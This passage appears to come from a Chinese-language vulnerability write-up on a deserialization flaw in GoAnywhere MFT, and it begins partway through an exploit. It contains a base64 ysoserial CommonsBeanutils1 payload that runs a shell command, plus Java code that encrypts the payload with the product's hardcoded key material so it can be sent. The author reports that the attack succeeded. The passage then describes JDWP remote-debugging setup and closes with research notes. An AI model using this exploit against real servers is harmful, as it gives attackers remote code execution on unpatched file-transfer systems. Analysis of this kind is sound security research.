Y2ggL3RtcC9zdWNjZXNzCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVyNTE5OTY1NDEyNjk0NjQzAQAgTHlzb3NlcmlhbC9Qd25lcjUxOTk2NTQxMjY5NDY0MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAl1cQB+ABAAAAHUyv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJcHQABFB3bnJwdwEAeHEAfgANeA==";
byte[] payloadByte = Base64.decodeBase64(CB1);
// this.encryptor = new Encryptor(new StandardEncryptionEngine(this.getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding"));
// this.encryptor.decryptToBytes(encrypted);
byte[] IV = new byte[]{65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100};
// public StandardEncryptionEngine(byte[] key, byte[] iv, String keyAlgorithm, String cipherAlgorithm)
// new StandardEncryptionEngine(this.getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding")
Class EncryptorClass = Class.forName("com.linoma.commons.crypto.StandardEncryptionEngine");
Constructor<?> cons = EncryptorClass.getConstructor(byte[].class,byte[].class,String.class,String.class);
StandardEncryptionEngine standardEncryptionEngine = (StandardEncryptionEngine) cons.newInstance(getInitializationValue(),IV,"AES", "AES/CBC/PKCS5Padding");
byte[] result = standardEncryptionEngine.encrypt(payloadByte);
// chunk 必须为 False,否则或报错:Input length must be multiple of 16 when decrypting with padded cipher
String bundle = new String(encode(result,false), "UTF-8");
System.out.println(bundle);
}catch (Exception e){
e.printStackTrace();
}
}
private static byte[] encode(byte[] bytes, boolean chunk) throws UnsupportedEncodingException {
byte[] encoded = Base64.encodeBase64(bytes, chunk, !chunk);
return encoded;
}
private static byte[] getInitializationValue() throws Exception {
byte[] param1 = new byte[]{103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101, 110, 115, 101, 80, 64, 36, 36, 119, 114, 100};
byte[] param2 = new byte[]{-19, 45, -32, -73, 65, 123, -7, 85};
int param3 = 9535;
int param4 = 256;
SecretKeyFactory factory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
KeySpec spec = new PBEKeySpec((new String(param1, "UTF-8")).toCharArray(), param2, param3, param4);
SecretKey tmp = factory.generateSecret(spec);
return tmp.getEncoded();
}
}
发送报文
攻击成功。
备注:调试环境
我们新建一个 IDEA 项目将所有的 jar 文件导入到项目的 Libraries 内。在 Add Configuration 添加一个 Remote JVM Debug 远程调试配置,填上 Host。
接着关闭 GoAnywhere。
./goanywhere.sh stop
然后修改 /GoAnywhere/tomcat/bin/start_tomcat.sh
的第一行,添加上 IDEA 配置中的远程调试参数。
JAVA_OPTS='-Xmx1024m -XX:MaxMetaspaceSize=1024m -Djava.awt.headless=true'
修改成
JAVA_OPTS='-Xmx1024m -XX:MaxMetaspaceSize=1024m -Djava.awt.headless=true -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005'
接着启动 GoAnywhere。
./goanywhere.sh start
检查是否打开了调试端口。
$ netstat -ano |grep 5005
tcp 0 0 0.0.0.0:5005 0.0.0.0:* LISTEN off (0.00/0/0)
接着点击 IDEA 的调试按钮,调试 Console 即可出现调试环境搭建成功的提示:
Connected to the target VM, address: ‘192.168.47.179:5005’, transport: ‘socket’
现在我们就可以开始下断点调试了。
总结
这个反序列化是一个简单的已某个 Servlet 的参数为入口的 CB1 反序列化。其中构造 Payload 那段假如使用的是 GoAnywhere 的 jar 文件的话,会有一些问题需要解决,比如两个 jar 中存在同一个 Class 名称的 Class 和 Interface,或者 Base64 的编码方式和 JDK 所提供的不同,JDK 版本过低构造 Payload 会有 Error initializing symmetric key java 的报错。
总之,也花了两天去分析,接下来的目标就是探索如何已此漏洞为目标,自动化的查找 Jar 中(无源码)以 Servlet 为入口的漏洞了。